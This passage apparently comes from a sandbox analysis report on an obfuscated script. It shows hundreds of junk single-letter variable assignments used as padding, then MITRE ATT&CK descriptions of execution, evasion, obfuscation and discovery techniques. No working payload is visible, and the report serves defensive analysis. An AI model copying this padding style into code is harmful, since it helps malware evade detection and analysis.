405	mvumrm = "S";
406	mvumrm = "H";
407	mvumrm = "k";
408	kztxyfzl = "L";
409	kztxyfzl = "V";
410	kztxyfzl = "t";
411	kztxyfzl = "q";
412	kztxyfzl = "O";
413	kztxyfzl = "n";
414	kztxyfzl = "j";
415	kztxyfzl = "D";
416	kztxyfzl = "Y";
417	kztxyfzl = "B";
418	kztxyfzl = "k";
419	kztxyfzl = "G";
420	kztxyfzl = "c";
421	kztxyfzl = "g";
422	kztxyfzl = "i";
423	kztxyfzl = "O";
424	kztxyfzl = "O";
425	kztxyfzl = "S";
426	kztxyfzl = "l";
427	kztxyfzl = "p";
428	kztxyfzl = "M";
429	kztxyfzl = "e";
430	kztxyfzl = "p";
431	kztxyfzl = "W";
432	kztxyfzl = "F";
433	kztxyfzl = "C";
434	kztxyfzl = "r";
435	kztxyfzl = "i";
436	kztxyfzl = "Y";
437	kztxyfzl = "Y";
438	kztxyfzl = "P";
439	kztxyfzl = "q";
440	kztxyfzl = "R";
441	kztxyfzl = "T";
442	kztxyfzl = "M";
443	kztxyfzl = "f";
444	kztxyfzl = "K";
445	kztxyfzl = "v";
446	kztxyfzl = "C";
447	kztxyfzl = "X";
448	kztxyfzl = "G";
449	kztxyfzl = "A";
450	kztxyfzl = "G";
451	kztxyfzl = "H";
452	kztxyfzl = "t";
453	lkrgcao = "w";
454	lkrgcao = "A";
455	lkrgcao = "X";
456	lkrgcao = "Y";
457	lkrgcao = "S";
458	lkrgcao = "D";
459	lkrgcao = "C";
460	lkrgcao = "W";
461	lkrgcao = "D";
462	lkrgcao = "x";
463	lkrgcao = "I";
464	lkrgcao = "j";
465	lkrgcao = "r";
466	lkrgcao = "m";
467	lkrgcao = "e";
468	lkrgcao = "t";
469	lkrgcao = "z";
470	lkrgcao = "k";
471	lkrgcao = "q";
472	lkrgcao = "s";
473	lkrgcao = "A";
474	lkrgcao = "u";
475	lkrgcao = "M";
476	lkrgcao = "Z";
477	lkrgcao = "V";
478	lkrgcao = "M";
479	lkrgcao = "E";
480	lkrgcao = "x";
481	kxnomky = "Q";
482	kxnomky = "I";
483	kxnomky = "n";
484	kxnomky = "g";
485	kxnomky = "E";
486	kxnomky = "B";
487	kxnomky = "S";
488	kxnomky = "u";
489	kxnomky = "S";
490	kxnomky = "j";
491	kxnomky = "N";
492	kxnomky = "e";
493	kxnomky = "z";
494	kxnomky = "r";
495	kxnomky = "g";
496	kxnomky = "k";
497	kxnomky = "V";
498	kxnomky = "s";
499	kxnomky = "p";
500	kxnomky = "y";
501	kxnomky = "u";
502	kxnomky = "R";
503	ybsavrib = "k";
504	ybsavrib = "m";
505	ybsavrib = "l";
506	ybsavrib = "Q";
507	ybsavrib = "X";
508	ybsavrib = "f";
509	ybsavrib = "U";
510	ybsavrib = "O";
511	ybsavrib = "b";
512	ybsavrib = "c";
513	ybsavrib = "a";
514	ojpqpb = "X";
515	ojpqpb = "a";
516	ojpqpb = "l";
517	ojpqpb = "E";
518	ojpqpb = "j";
519	ojpqpb = "I";
520	ojpqpb = "h";
521	ojpqpb = "h";
522	ojpqpb = "D";
523	ojpqpb = "j";
524	ojpqpb = "l";
525	ojpqpb = "u";
526	ojpqpb = "l";
527	ojpqpb = "L";
528	ojpqpb = "f";
529	ojpqpb = "G";
530	ojpqpb = "_";
531	yarss = "q";
532	yarss = "H";
533	yarss = "M";
534	yarss = "V";
535	yarss = "D";
536	yarss = "f";
537	yarss = "m";
538	yarss = "\\";
539	cpoupxjfm = "Y";
540	cpoupxjfm = "I";
541	cpoupxjfm = "P";
542	cpoupxjfm = "c";
543	cpoupxjfm = "h";
544	cpoupxjfm = "X";
545	cpoupxjfm = "A";
546	cpoupxjfm = "S";
547	cpoupxjfm = "L";
548	cpoupxjfm = "M";
549	cpoupxjfm = "r";
550	cpoupxjfm = "y";
551	cpoupxjfm = "P";
552	cpoupxjfm = "U";
553	cpoupxjfm = "W";
554	cpoupxjfm = "k";
555	cpoupxjfm = "H";
556	cpoupxjfm = "l";
557	cpoupxjfm = "G";
558	cpoupxjfm = "y";
559	cpoupxjfm = "y";
560	cpoupxjfm = "K";
561	cpoupxjfm = "Y";
562	cpoupxjfm = "K";
563	cpoupxjfm = "O";
564	cpoupxjfm = "K";
565	cpoupxjfm = "a";
566	cpoupxjfm = "Y";
567	cpoupxjfm = "F";
568	cpoupxjfm = "P";
569	cpoupxjfm = "Q";
570	cpoupxjfm = "e";
571	cpoupxjfm = "H";
572	cpoupxjfm = "K";
573	cpoupxjfm = "b";
574	cpoupxjfm = "i";
575	cpoupxjfm = "O";
576	cpoupxjfm = "O";
577	odgeudo = "P";
578	kfuoz = "h";
579	kfuoz = "X";
580	kfuoz = "A";
581	kfuoz = "U";
582	kfuoz = "h";
583	kfuoz = "j";
584	kfuoz = "Y";
585	kfuoz = "J";
586	kfuoz = "j";
587	kfuoz = "b";
588	kfuoz = "r";
589	kfuoz = "a";
590	kfuoz = "w";
591	kfuoz = "l";
592	kfuoz = "g";
593	kfuoz = "J";
594	kfuoz = "b";
595	kfuoz = "K";
596	kfuoz = "U";
597	kfuoz = "X";
598	kfuoz = "U";
599	kfuoz = "L";
600	rzqjxtfm = "P";
601	rzqjxtfm = "k";
602	rzqjxtfm = "G";
603	rzqjxtfm = "g";
604	rzqjxtfm = "l";
605	rzqjxtfm = "V";
606	rzqjxtfm = "H";
607	rzqjxtfm = "Y";
608	rzqjxtfm = "H";
609	rzqjxtfm = "e";
610	rzqjxtfm = "I";
611	rzqjxtfm = "g";
612	rzqjxtfm = "g";
613	rzqjxtfm = "a";
614	rzqjxtfm = "X";
615	rzqjxtfm = "d";
616	rzqjxtfm = "y";
617	rzqjxtfm = "V";
618	rzqjxtfm = "U";
619	rzqjxtfm = "Z";
620	rzqjxtfm = "s";
621	rzqjxtfm = "r";
622	rzqjxtfm = "Q";
623	rzqjxtfm = "j";
624	rzqjxtfm = "f";
625	rzqjxtfm = "T";
626	rzqjxtfm = "C";
627	rzqjxtfm = "G";
628	rzqjxtfm = "v";
629	rzqjxtfm = "N";
630	rzqjxtfm = "Z";
631	rzqjxtfm = "y";
632	rzqjxtfm = "N";
633	rzqjxtfm = "N";
634	ulkjdx = "C";
635	ulkjdx = "E";
636	ulkjdx = "N";
637	ulkjdx = "k";
638	ulkjdx = "x";
639	ulkjdx = "G";
640	ulkjdx = "G";
641	ulkjdx = "X";
642	ulkjdx = "w";
643	ulkjdx = "l";
644	ulkjdx = "x";
645	ulkjdx = "W";
646	ulkjdx = "j";
647	ulkjdx = "m";
648	ulkjdx = "a";
649	ulkjdx = "A";
650	ulkjdx = "a";
651	ulkjdx = "c";
652	ulkjdx = "l";
653	ulkjdx = "r";
654	ulkjdx = "m";
655	ulkjdx = "9";
656	aimsvhwlq = "Z";
657	aimsvhwlq = "m";
658	aimsvhwlq = "F";
659	aimsvhwlq = "O";
660	aimsvhwlq = "p";
661	aimsvhwlq = "t";
662	aimsvhwlq = "R";
663	aimsvhwlq = "R";
664	aimsvhwlq = "C";
665	aimsvhwlq = "v";
666	aimsvhwlq = "J";
667	aimsvhwlq = "f";
668	aimsvhwlq = "D";
669	aimsvhwlq = "o";
670	aimsvhwlq = "r";
671	aimsvhwlq = "O";
672	aimsvhwlq = "u";
673	aimsvhwlq = "R";
674	aimsvhwlq = "s";
675	aimsvhwlq = "C";
676	aimsvhwlq = "X";
677	aimsvhwlq = "f";
678	aimsvhwlq = "h";
679	aimsvhwlq = "s";
680	aimsvhwlq = "R";
681	aimsvhwlq = "R";
682	aimsvhwlq = "K";
683	aimsvhwlq = "8";
684	obdsxlcn = "u";
685	obdsxlcn = "V";
686	obdsxlcn = "m";
687	obdsxlcn = "O";
688	obdsxlcn = "s";
689	obdsxlcn = "t";
690	obdsxlcn = "c";
691	obdsxlcn = "J";
692	obdsxlcn = "B";
693	obdsxlcn = "e";
694	obdsxlcn = "v";
695	obdsxlcn = "I";
696	obdsxlcn = "R";
697	obdsxlcn = "X";
698	obdsxlcn = "C";
699	obdsxlcn = "I";
700	obdsxlcn = "v";
701	obdsxlcn = "b";
702	obdsxlcn = "F";
703	obdsxlcn = "O";
704	obdsxlcn = "Z";
705	obdsxlcn = "n";
706	obdsxlcn = "K";
707	obdsxlcn = "M";
708	obdsxlcn = "T";
709	obdsxlcn = "W";
710	obdsxlcn = "y";
711	obdsxlcn = "Q";
712	obdsxlcn = "u";
713	eluxp = "E";
714	eluxp = "M";
715	eluxp = "B";
716	eluxp = "e";
717	eluxp = "a";
718	eluxp = "S";
719	eluxp = "a";
720	eluxp = "l";
721	acrkg = "r";
722	acrkg = "d";
723	acrkg = "e";
724	acrkg = "Q";
725	acrkg = "r";
726	acrkg = "y";
727	acrkg = "a";
728	acrkg = "s";
729	znucexc = "y";
730	znucexc = "G";
731	znucexc = "k";
732	znucexc = "D";
733	znucexc = "y";
734	znucexc = "F";
735	znucexc = "S";
736	znucexc = "q";
737	znucexc = "h";
738	znucexc = "D";
739	znucexc = "S";
740	znucexc = "W";
741	znucexc = "M";
742	znucexc = "c";
743	znucexc = "M";
744	znucexc = "O";
745	znucexc = "C";
746	znucexc = "T";
747	znucexc = "Y";
748	znucexc = "Z";
749	znucexc = "a";
750	znucexc = "O";
751	znucexc = "V";
752	znucexc = "A";
753	znucexc = "m";
754	znucexc = "l";
755	znucexc = "z";
756	znucexc = "Z";
757	znucexc = "i";
758	znucexc = "c";
759	znucexc = "p";
760	nmmvq = "D";
761	nmmvq = "Q";
762	nmmvq = "X";
763	nmmvq = "V";
764	nmmvq = "R";
765	nmmvq = "j";
766	nmmvq = "y";
767	nmmvq = "K";
768	nmmvq = "O";
769	nmmvq = "h";
770	nmmvq = "R";
771	nmmvq = "t";
772	nmmvq = "O";
773	nmmvq = "W";
774	nmmvq = "y";
775	nmmvq = "B";
776	nmmvq = "C";
777	nmmvq = "m";
778	nmmvq = "x";
779	nmmvq = "f";
780	nmmvq = "X";
781	nmmvq = "T";
782	nmmvq = "j";
783	nmmvq = "q";
784	nmmvq = "i";
785	nmmvq = "p";
786	nmmvq = "D";
787	nmmvq = "d";
788	nmmvq = "p";
789	nmmvq = "D";
790	nmmvq = "D";
791	nmmvq = "M";
792	nmmvq = "m";
793	nmmvq = "s";
794	nmmvq = "o";
795	nmmvq = "X";
796	nmmvq = "B";
797	nmmvq = "p";
798	nmmvq = "m";
799	deuigpxc = "f";
800	deuigpxc = "a";
801	deuigpxc = "A";
802	deuigpxc = "k";
803	deuigpxc = "P";
804	deuigpxc = "v";
805	deuigpxc = "f";
806	deuigpxc = "k";
807	deuigpxc = "e";
808	bgiudfoq = "q";
809	bgiudfoq = "y";
810	bgiudfoq = "C";
811	bgiudfoq = "a";
812	bgiudfoq = "K";
813	bgiudfoq = "J";
814	bgiudfoq = "M";
815	bgiudfoq = "K";
816	qgkpuqx = "Q";
817	qgkpuqx = "X";
818	qgkpuqx = "f";
819	qgkpuqx = "P";
820	qgkpuqx = "F";
821	qgkpuqx = "A";
822	qgkpuqx = "m";
823	qgkpuqx = "d";
824	qgkpuqx = "n";
825	qgkpuqx = "s";
826	qgkpuqx = "P";
827	qgkpuqx = "E";
828	qgkpuqx = "U";
829	qgkpuqx = "M";
830	qgkpuqx = "a";
831	qgkpuqx = "j";
832	qgkpuqx = "x";
833	qgkpuqx = "F";
834	qgkpuqx = "x";
835	qgkpuqx = "l";
836	qgkpuqx = "j";
837	qgkpuqx = "T";
838	qgkpuqx = "x";
839	qgkpuqx = "X";
840	qgkpuqx = "S";
841	pdfqbedp = "Y";
842	pdfqbedp = "g";
843	pdfqbedp = "c";
844	pdfqbedp = "G";
845	pdfqbedp = "J";
846	pdfqbedp = "T";
847	pdfqbedp = "m";
848	pdfqbedp = "t";
849	pdfqbedp = "K";
850	pdfqbedp = "m";
851	pdfqbedp = "e";
852	pdfqbedp = "a";
853	pdfqbedp = "Y";
854	pdfqbedp = "T";
855	pdfqbedp = "r";
856	pdfqbedp = "X";
857	pdfqbedp = "K";
858	pdfqbedp = "Q";
859	pdfqbedp = "X";
860	pdfqbedp = "B";
861	pdfqbedp = "k";
862	pdfqbedp = "N";
863	pdfqbedp = "k";
864	pdfqbedp = "K";
865	pdfqbedp = "M";
866	pdfqbedp = "N";
867	pdfqbedp = "e";
868	pdfqbedp = "\"";
869	cylfjlqv = "d";
870	cylfjlqv = "4";
871	iflsf = "k";
872	iflsf = "o";
873	iflsf = "h";
874	iflsf = "k";
875	iflsf = "i";
876	iflsf = "d";
877	iflsf = "B";
878	iflsf = "U";
879	iflsf = "n";
880	iflsf = "O";
881	iflsf = "u";
882	iflsf = "s";
883	iflsf = "i";
884	iflsf = "Q";
885	iflsf = "b";
886	iflsf = "g";
887	iflsf = "C";
888	iflsf = "T";
889	iflsf = "h";
890	iflsf = "g";
891	iflsf = "H";
892	iflsf = "o";
893	iflsf = "w";
894	iflsf = "u";
895	iflsf = "m";
896	iflsf = "M";
897	iflsf = "l";
898	iflsf = "u";
899	iflsf = "f";
900	iflsf = "l";
901	iflsf = "X";
902	iflsf = "K";
903	iflsf = "y";
904	iflsf = "Y";
905	iflsf = "E";
906	iflsf = "B";
907	iflsf = "X";
908	iflsf = "a";
909	iflsf = "H";
910	iflsf = "w";
911	iflsf = "H";
912	roitgltim = "r";
913	roitgltim = "x";
914	roitgltim = "i";
915	roitgltim = "3";
916	taozclypc = "V";
917	taozclypc = "B";
918	taozclypc = "H";
919	taozclypc = "X";
920	taozclypc = "Q";
921	taozclypc = "p";
922	taozclypc = "S";
923	taozclypc = "A";
924	taozclypc = "y";
925	taozclypc = "O";
926	taozclypc = "V";
927	taozclypc = "d";
928	taozclypc = "R";
929	taozclypc = "H";
930	taozclypc = "J";
931	taozclypc = "P";
932	taozclypc = ".";
933	tugvbvue = "X";
934	tugvbvue = "u";
935	tugvbvue = "K";
936	tugvbvue = "z";
937	tugvbvue = "z";
938	tugvbvue = "h";
939	tugvbvue = "O";
940	tugvbvue = "T";
941	tugvbvue = "r";
942	tugvbvue = "l";
943	tugvbvue = "J";
944	tugvbvue = "t";
945	tugvbvue = "W";
946	tugvbvue = "J";
947	tugvbvue = "J";
948	tugvbvue = "u";
949	tugvbvue = "r";
950	tugvbvue = "B";
951	tugvbvue = "k";
952	tugvbvue = "A";
953	tugvbvue = "c";
954	tugvbvue = "J";
955	tugvbvue = "g";
956	tugvbvue = "S";
957	tugvbvue = "M";
958	tugvbvue = "z";
959	tugvbvue = "k";
960	tugvbvue = "M";
961	tugvbvue = "N";
962	tugvbvue = "U";
963	tugvbvue = "A";
964	tugvbvue = "m";
965	tugvbvue = "a";
966	tugvbvue = "t";
967	tugvbvue = "g";
968	dhiyhf = "u";
969	dhiyhf = "R";
970	dhiyhf = "Y";
971	dhiyhf = "v";
972	dhiyhf = "G";
973	dhiyhf = "T";
974	dhiyhf = "D";
975	dhiyhf = "a";
976	dhiyhf = "B";
977	dhiyhf = "G";
978	dhiyhf = "v";
979	dwovxz = "g";
980	dwovxz = "q";
981	dwovxz = "D";
982	dwovxz = "o";
983	dwovxz = "t";
984	dwovxz = "Q";
985	dwovxz = "G";
986	dwovxz = "r";
987	dwovxz = "G";
988	dwovxz = "r";
989	dwovxz = "J";
990	dwovxz = "T";
991	dwovxz = "B";
992	dwovxz = "r";
993	dwovxz = "e";
994	dwovxz = "R";
995	dwovxz = "l";
996	dwovxz = "O";
997	dwovxz = "q";
998	dwovxz = "X";
999	dwovxz = "A";
1000	dwovxz = "z";
1001	dwovxz = "n";
1002	dwovxz = "m";
1003	dwovxz = "s";
1004	dwovxz = "Q";
1005	dwovxz = "S";
1006	dwovxz = "O";
1007	dwovxz = "U";
1008	dwovxz = "t";
1009	dwovxz = "s";
1010	dwovxz = "i";
1011	dwovxz = "i";
1012	tyslii = "A";
1013	tyslii = "s";
1014	tyslii = "r";
1015	tyslii = "s";
1016	tyslii = "m";
1017	tyslii = "x";
1018	tyslii = "n";
1019	tyslii = "X";
1020	tyslii = "B";
1021	tyslii = "B";
1022	tyslii = "V";
1023	tyslii = "w";
1024	tyslii = "H";
1025	tyslii = "e";
1026	tyslii = "Z";
1027	tyslii = "H";
1028	tyslii = "J";
1029	tyslii = "g";
1030	tyslii = "W";
1031	tyslii = "I";
1032	fydacxyi = "B";
1033	fydacxyi = "c";
1034	fydacxyi = "q";
1035	fydacxyi = "b";
1036	fydacxyi = "a";
1037	fydacxyi = "L";
1038	fydacxyi = "h";
1039	fydacxyi = "z";
1040	fydacxyi = "m";
1041	fydacxyi = "T";
1042	fydacxyi = "l";
1043	fydacxyi = "g";
1044	fydacxyi = "l";
1045	fydacxyi = "L";
1046	fydacxyi = "S";
1047	fydacxyi = "G";
1048	fydacxyi = "j";
1049	fydacxyi = "O";
1050	fydacxyi = "d";
1051	fydacxyi = "R";
1052	fydacxyi = "S";
1053	fydacxyi = "X";
1054	fydacxyi = "J";
1055	fydacxyi = "D";
1056	fydacxyi = "k";
1057	fydacxyi = "a";
1058	fydacxyi = "c";
1059	fydacxyi = "P";
1060	fydacxyi = "e";
1061	fydacxyi = "Y";
1062	fydacxyi = "e";
1063	fydacxyi = "q";
1064	zgpnhm = "U";
1065	zgpnhm = "f";
1066	zgpnhm = "y";
1067	zgpnhm = "b";
1068	zgpnhm = "q";
1069	zgpnhm = "c";
1070	zgpnhm = "Z";
1071	zgpnhm = "Y";
1072	zgpnhm = "n";
1073	zgpnhm = "L";
1074	zgpnhm = "g";
1075	zgpnhm = "G";
1076	zgpnhm = "G";
1077	zgpnhm = "k";
1078	zgpnhm = "q";
1079	zgpnhm = "o";
1080	zgpnhm = "m";
1081	zgpnhm = "E";
1082	zgpnhm = "O";
1083	zgpnhm = "g";
1084	zgpnhm = "G";
1085	zgpnhm = "p";
1086	zgpnhm = "F";
1087	zgpnhm = "b";
1088	zgpnhm = "i";
1089	zgpnhm = "p";
1090	zgpnhm = "n";
1091	zgpnhm = "M";
1092	zgpnhm = "C";
1093	zgpnhm = "y";
1094	zgpnhm = "l";
1095	zgpnhm = "M";
1096	zgpnhm = "Q";
1097	zgpnhm = "k";
1098	zgpnhm = "J";
1099	zgpnhm = "b";
1100	zgpnhm = "S";
1101	zgpnhm = "H";
1102	zgpnhm = "C";
1103	zgpnhm = "E";
1104	zgpnhm = "W";
1105	plvvpephy = "Q";
1106	plvvpephy = "H";
1107	plvvpephy = "d";
1108	plvvpephy = "p";
1109	plvvpephy = "x";
1110	plvvpephy = "j";
1111	qrgtwp = "W";
1112	qrgtwp = "e";
1113	qrgtwp = "J";
1114	qrgtwp = "t";
1115	qrgtwp = "K";
1116	qrgtwp = "o";
1117	qrgtwp = "A";
1118	qrgtwp = "j";
1119	qrgtwp = "m";
1120	qrgtwp = "x";
1121	qrgtwp = "m";
1122	qrgtwp = "Z";
1123	qrgtwp = "&";
1124	mlpvdgas = "M";
1125	mlpvdgas = "h";
1126	mlpvdgas = "R";
1127	mlpvdgas = "o";
1128	mlpvdgas = "V";
1129	mlpvdgas = "g";
1130	mlpvdgas = "W";
1131	mlpvdgas = "U";
1132	mlpvdgas = "Z";
1133	mlpvdgas = "b";
1134	mlpvdgas = "H";
1135	mlpvdgas = "M";
1136	mlpvdgas = "T";
1137	mlpvdgas = "k";
1138	mlpvdgas = "I";
1139	mlpvdgas = "Q";
1140	dabnhbvt = "J";
1141	dabnhbvt = "k";
1142	dabnhbvt = "f";
1143	dabnhbvt = "2";
1144	jmdhzpeb = "P";
1145	jmdhzpeb = "g";
1146	jmdhzpeb = "U";
1147	calyrojm = "p";
1148	calyrojm = "G";
1149	calyrojm = "d";
1150	calyrojm = "K";
1151	calyrojm = "e";
1152	calyrojm = "P";
1153	calyrojm = "k";
1154	calyrojm = "T";
1155	fqrxycw = "j";
1156	fqrxycw = "F";
1157	fqrxycw = "p";
1158	fqrxycw = "C";
1159	fqrxycw = "q";
1160	fqrxycw = "m";
1161	fqrxycw = "W";
1162	fqrxycw = "P";
1163	fqrxycw = "V";
1164	fqrxycw = "r";
1165	fqrxycw = "P";
1166	fqrxycw = "i";
1167	fqrxycw = "u";
1168	fqrxycw = "u";
1169	fqrxycw = "P";
1170	fqrxycw = "w";
1171	fqrxycw = "a";
1172	fqrxycw = "p";
1173	fqrxycw = "F";
1174	fqrxycw = "x";
1175	fqrxycw = "T";
1176	fqrxycw = "G";
1177	fqrxycw = "y";
1178	fqrxycw = "b";
1179	fqrxycw = "J";
1180	fqrxycw = "%";
1181	txkielmgt = "e";
1182	txkielmgt = "U";
1183	txkielmgt = "u";
1184	txkielmgt = "y";
1185	txkielmgt = "x";
1186	txkielmgt = "Y";
1187	txkielmgt = "o";
1188	txkielmgt = "D";
1189	txkielmgt = "T";
1190	txkielmgt = "Z";
1191	txkielmgt = "g";
1192	txkielmgt = "X";
1193	txkielmgt = "n";
1194	txkielmgt = "e";
1195	txkielmgt = "C";
1196	txkielmgt = "b";
1197	mxfwzypu = "k";
1198	mxfwzypu = "t";
1199	mxfwzypu = "Q";
1200	mxfwzypu = "D";
1201	mxfwzypu = "h";
1202	mxfwzypu = "S";
1203	mxfwzypu = "P";
1204	mxfwzypu = "c";
1205	mxfwzypu = "Q";
1206	mxfwzypu = "P";
1207	mxfwzypu = "x";
1208	mxfwzypu = "k";
1209	mxfwzypu = "R";
1210	mxfwzypu = "k";
1211	mxfwzypu = "t";
1212	mxfwzypu = "M";
1213	mxfwzypu = "h";
1214	mxfwzypu = "B";
1215	mxfwzypu = "q";
1216	mxfwzypu = "x";
1217	mxfwzypu = "K";
1218	mxfwzypu = "y";
1219	mxfwzypu = "J";
1220	mxfwzypu = "U";
1221	mxfwzypu = "J";
1222	mxfwzypu = "s";
1223	mxfwzypu = "q";
1224	mxfwzypu = "l";
1225	mxfwzypu = "d";
1226	mxfwzypu = "Q";
1227	mxfwzypu = "m";
1228	mxfwzypu = "O";
1229	mxfwzypu = "Y";
1230	mxfwzypu = "S";
1231	mxfwzypu = "S";
1232	mxfwzypu = "C";
1233	mxfwzypu = "d";
1234	mxfwzypu = "u";
1235	mxfwzypu = "y";
1236	mxfwzypu = "x";
1237	mxfwzypu = "n";
1238	mxfwzypu = "m";
1239	mxfwzypu = "B";
1240	mxfwzypu = "T";
1241	mxfwzypu = "w";
1242	pgqhwg = "i";
1243	pgqhwg = "I";
1244	pgqhwg = "N";
1245	pgqhwg = "b";
1246	pgqhwg = "l";
1247	pgqhwg = "u";
1248	pgqhwg = "o";
1249	pgqhwg = "h";
1250	pgqhwg = "O";
1251	pgqhwg = "O";
1252	pgqhwg = "E";
1253	pgqhwg = "O";
1254	pgqhwg = "n";
1255	pgqhwg = "k";
1256	pgqhwg = "H";
1257	pgqhwg = "S";
1258	pgqhwg = "p";
1259	pgqhwg = "e";
1260	pgqhwg = "k";
1261	pgqhwg = "u";
1262	pgqhwg = "z";
1263	pgqhwg = "R";
1264	pgqhwg = "t";
1265	pgqhwg = "K";
1266	pgqhwg = "v";
1267	pgqhwg = "d";
1268	pgqhwg = "H";
1269	pgqhwg = "o";
1270	pgqhwg = "F";
1271	pgqhwg = "A";
1272	pgqhwg = "a";
1273	pgqhwg = "F";
1274	pgqhwg = "@";
1275	azkzwr = "n";
1276	azkzwr = "Q";
1277	azkzwr = "t";
1278	azkzwr = "U";
1279	azkzwr = "n";
1280	azkzwr = "O";
1281	azkzwr = "P";
1282	azkzwr = "p";
1283	azkzwr = "f";
1284	azkzwr = "q";
1285	azkzwr = "h";
1286	ufmzke = "t";
1287	ufmzke = "n";
1288	ufmzke = "C";
1289	ufmzke = "A";
1290	ufmzke = "L";
1291	ufmzke = "G";
1292	ufmzke = "K";
1293	ufmzke = "/";
1294	ekjrgvzsk ( );	ekjrgvzsk() ➔ undefined

Reset < >

Description:	This technique has been deprecated. Please use Command and Scripting Interpreter where appropriate.
Tactics:	Defense Evasion, Execution
Data Sources:
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse command and script interpreters to execute commands, scripts, or binaries. These interfaces and languages provide ways of interacting with computer systems and are a common feature across many different platforms. Most systems come with some built-in command-line interface and scripting capabilities, for example, macOS and Linux distributions include some flavor of Unix Shell while Windows installations include the Windows Command Shell and PowerShell .
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Network, Office 365, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may interact with the native OS application programming interface (API) to execute behaviors. Native APIs provide a controlled means of calling low-level OS services within the kernel, such as those involving hardware/devices, memory, and processes.These native APIs are leveraged by the OS during system boot (when other system components are not yet initialized) as well as carrying out tasks and requests during routine operations.
Tactics:	Execution
Data Sources:	Module: Module Load, Process: OS API Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may exploit software vulnerabilities in client applications to execute code. Vulnerabilities can exist in software due to unsecure coding practices that can lead to unanticipated behavior. Adversaries can take advantage of certain vulnerabilities through targeted exploitation for the purpose of arbitrary code execution. Oftentimes the most valuable exploits to an offensive toolkit are those that can be used to obtain code execution on a remote system because they can be used to gain access to that system. Users will expect to see files related to the applications they commonly used to do work, so they are a useful target for exploit research and development because of their high utility.
Tactics:	Execution
Data Sources:	Application Log: Application Log Content, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse PowerShell commands and scripts for execution. PowerShell is a powerful interactive command-line interface and scripting environment included in the Windows operating system.Adversaries can use PowerShell to perform a number of actions, including discovery of information and execution of code. Examples include the `Start-Process` cmdlet which can be used to run an executable and the `Invoke-Command` cmdlet which runs a command locally or on a remote computer (though administrator permissions are required to use PowerShell to connect to remote systems).
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to DLL Search Order Hijacking , side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	File: File Creation, File: File Modification, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Metadata, File: File Modification, Image: Image Metadata, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Scheduled Job: Scheduled Job Metadata, Scheduled Job: Scheduled Job Modification, Service: Service Creation, Service: Service Metadata
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Module: Module Load, Process: OS API Execution, Process: Process Creation, Script: Script Execution, WMI: WMI Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may look for folders and drives shared on remote systems as a means of identifying sources of information to gather as a precursor for Collection and to identify potential systems of interest for Lateral Movement. Networks often contain shared network drives and folders that enable users to access file directories on various systems across a network.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Firewall: Firewall Enumeration, Firewall: Firewall Metadata, Process: OS API Execution, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
